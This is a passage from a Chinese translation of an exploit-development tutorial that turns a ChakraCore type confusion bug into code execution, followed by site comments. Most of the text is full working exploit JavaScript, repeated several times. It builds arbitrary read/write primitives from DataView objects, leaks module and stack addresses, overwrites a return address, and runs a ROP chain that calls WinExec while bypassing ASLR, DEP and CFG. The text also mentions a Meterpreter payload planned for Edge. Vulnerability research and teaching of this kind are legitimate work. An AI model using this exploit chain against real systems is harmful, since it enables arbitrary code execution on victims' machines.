    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // When execution reaches here, stackLeak+counter contains the stack address with the return address we want to overwrite
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
}

main();

让我们在调试器中直接运行这个更新后的脚本,不要设置任何断点。

1.png

在运行我们的exploit后,可以看到出现了一个访问违例!出现该违例时,代码正试图执行一个ret指令,该指令用于返回到我们所覆盖的返回地址处。这很可能是我们的JsRun函数调用的结果。这很可能是因为我们的JsRun函数调用了一个或多个函数,而这些函数最终将执行流程返回到我们覆盖的、JsRun函数的返回地址处。如果我们看一下堆栈,就能发现访问违规的罪魁祸首——ChakraCore正试图返回到地址0x414141414141处,而它正是我们控制的地址!这意味着,我们成功地控制了程序的执行流程和RIP!

1.png

现在要做的就是向堆栈中写入一个ROP链,并用我们的第一个ROP gadget覆盖RIP,该gadget将调用WinExec来生成calc.exe。

0x08 代码执行

通过我们的任意写原语加上堆栈泄漏来实现完全的堆栈控制,进而通过返回地址覆盖来实现控制流劫持——我们现在已经为创建ROP payload做好了铺垫。这当然是由于DEP的出现。因为我们知道堆栈在哪里,所以我们可以使用我们的第一个ROP gadget来覆盖我们以前用0x414141414141414141覆盖的返回地址。我们可以使用RP++实用程序来解析chakracore.dll的.text节,以查找任何有用的ROP gadget。不过,我们的目标(对于这篇文章来说)是调用WinExec。注意,这在Microsoft Edge中是不可能的(我们将在第三篇中利用该浏览器),因为Edge中没有为子进程提供缓解措施。我们将选择Meterpreter payload来利用Edge浏览器的类型混淆漏洞,它将以反射型DLL的形式出现,以避免生成新的进程。但是,由于CharkaCore没有这些约束,所以,让我们先考察一下ROP gadgets的chakracore.dll,然后看看WinExec的原型。

首先,让我们执行以下rp++命令:  rp-win-x64.exe -f C:\PATH\TO\ChakraCore\Build\VcBuild\x64_debug\ChakraCore.dll -r > C:\PATH\WHERE\YOU\WANT\TO\OUTPUT\gadgets.txt:

1.png

ChakraCore是一个非常大的代码库,因此gadgets.txt也会相当大。这也是为什么rp++命令需要花些时间才能解析chakracore.dll。通过查看gadgets.txt,我们可以找到相应的ROP gadgets。

1.png

接下来,让我们看一下WinExec的原型。

1.png

正如我们在上面看到的,WinExec有两个参数。由于__fastcall调用约定的缘故,第一个参数需要存储在RCX寄存器中,第二个参数需要存储在RDX寄存器中。

我们的第一个参数lpCmdLine需要是一个包含calc内容的字符串。在更深层次上,我们需要找到一个内存地址并使用任意写入原语将这些内容存储在那里。在其他情况下,有时要求lpCmdLine必须是指向字符串calc的指针。

接下来,让我们到gadgets.txt文件中寻找一些ROP gadget,以帮助我们实现上述目标。在gadgets.txt中,我们发现了三个有用的ROP gadgets。

0x18003e876: pop rax ; ret ; \x26\x58\xc3 (1 found)
0x18003e6c6: pop rcx ; ret ; \x26\x59\xc3 (1 found)
0x1800d7ff7: mov qword [rcx], rax ; ret ; \x48\x89\x01\xc3 (1 found)

我们的ROP链如下所示:

pop rax ; ret
<0x636c6163> (calc in hex is placed into RAX)

pop rcx ; ret
<pointer to store calc> (pointer is placed into RCX)

mov qword [rcx], rax ; ret (fill pointer with calc)

此前,我们用0x414141414141覆盖了返回地址,现在,将其替换为我们的第一个ROP gadget,即pop rax ; ret,这也是我们的ROP链的起始位置。然后,我们将其余的gadget写到堆栈的其余部分,我们的ROP payload将在那里执行。

我们前面的三个ROP gagdets,前两个分别用于把字符串calc放入RAX中,把指向这个字符串写入地址的指针放入RCX中,第三个用字符串更新这个指针的内容。

下面,让我们用这些ROP gadgets来更新我们的exploit.js脚本(注意,这里的rp++用于计算距离chakracore.dll的基址的偏移量。例如,这里显示pop rax位于0x18003e876处。这意味着,我们实际上可以在chakracore_base+0x3e876处找到这个gadget)。

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;

    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;

}

main();

您可能已经注意到,我们通过pop rcx放置在RCX中的地址是“chakracore.dll的.data节中的空地址”。实际上,任何PE文件的.data节通常都是可读可写的。 这就为将calc写入指针提供了所需的权限。要找到这个地址,我们可以使用WinDbg的!dh命令查看chakracore.dll的.data节。

1.png

1.png

1.png

让我们再次通过ch.exe和WinDbg在WinDbg中打开exploit.js,并在我们的第一个ROP gadget(位于chakracore_base + 0x3e876处)上设置一个断点以进行单步执行。

1.png
1.png

查看堆栈,我们可以看到当前正在执行ROP链。

1.png

我们的第一个ROP gadget(即pop rax)会将calc以十六进制表示)放入RAX寄存器。

1.png

执行后,我们可以看到来自ROP gadget的ret操作直接将我们带到下一个gadget,即pop rcx,它将把chakracore.dll中的空.data指针放入RCX。

1.png
1.png

这会将我们带到下一个 ROP gadget,即mov qword ptr [rcx], rax ; ret

1.png

执行这个ROP gadget后,我们可以看到.data指针现在包含的是calc的内容——这意味着我们现在可以将该指针作为lpCmdLine参数放到RCX寄存器中(从技术上讲,它已经在RCX中)。

1.png

现在,第一个参数已经搞定了;接下来,我们需要做的两件事情是:搞定第二个参数,即uCmdShow(只需设置为0);让最后一个gadget弹出kernel32!WinExec的地址。这部分ROP链如下所示:

pop rdx ; ret
<0 as the second parameter> (placed into RDX)

pop rax ; ret
<WinExec address> (placed into RAX)

jmp rax (call kernel32!WinExec)

上面的gadgets会用我们最后一个参数填充RDX,然后将WinExec放入RAX。更新后的最终脚本如下所示:

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x40802, chakraHigh);      // 0x1800d7ff7: pop rdx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000);            // 0
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x5e330, kernel32High);  // KERNEL32!WinExec address
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7be3e, chakraHigh);      // 0x18003e876: jmp rax
    counter+=0x8;

    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
}

main();

在执行之前,我们可以通过计算WinDbg中的偏移量找到kernel32!WinExec的地址。

1.png

让我们再次在WinDbg中运行exploit,并在ROP gadget(即pop rdx)上设置一个断点(它位于chakracore_base + 0x40802处)。

1.png

1.png

命中pop rdx这个gadget后,我们可以看到RDX寄存器中当前的值为0。

1.png

然后,执行重定向到pop rax所在的gadget处。

1.png

然后,我们将kernel32!WinExec放入RAX寄存器,并执行jmp rax这个gadget,以跳转到WinExec函数调用处。我们还可以看到,这里的参数都是正确的(RCX寄存器指向calc,RDX寄存器的值为0)。

1.png
1.png

现在,一切正常。接下来,让我们关闭WinDbg,并在不借助调试器的情况下执行最终的exploit。最终代码如下所示:

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x40802, chakraHigh);      // 0x1800d7ff7: pop rdx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000);            // 0
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x5e330, kernel32High);  // KERNEL32!WinExec address
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7be3e, chakraHigh);      // 0x18003e876: jmp rax
    counter+=0x8;
}

main();

正如我们所见,我们通过类型混淆漏洞实现了代码执行,同时还绕过了ASLR、DEP和CFG等缓解机制!

1.png

0x09 小结

正如我们在本文中看到的那样,这里将用于概念验证的崩溃型exploit成功转化为了有效的exploit,并实现了代码执行,同时还顺利绕过了各种缓解措施,如 ASLR、DEP和控制流防护机制。然而,这里只是在ChakraCore shell环境中成功执行我们的exploit。在下一篇文章中,我们会将exploit移植到Edge浏览器环境中,为此需要借助多个ROP链(超过11个ROP链)来绕过任意代码保护 (ACG)机制。

原文地址:https://connormcgarr.github.io/type-confusion-part-2/

评论

T

tang2019

这个人很懒,没有留下任何介绍

随机分类

Web安全 文章:248 篇
Python安全 文章:13 篇
逻辑漏洞 文章:15 篇
无线安全 文章:27 篇
网络协议 文章:18 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

B

BOT

@Deen 谢谢您的评论。是这样的,如果只是利用__FILE__变量和fun函数

V

v2ihs1yan

orz

F

foniw

师傅,这边有个问题 setter自动调用需要满足以下条件: 以set开头且第

D

Deen

谢谢分享哈,这里有个问题:__FILE__这个变量的存在导致了需要特定的文件名才

M

MasterK

666

目录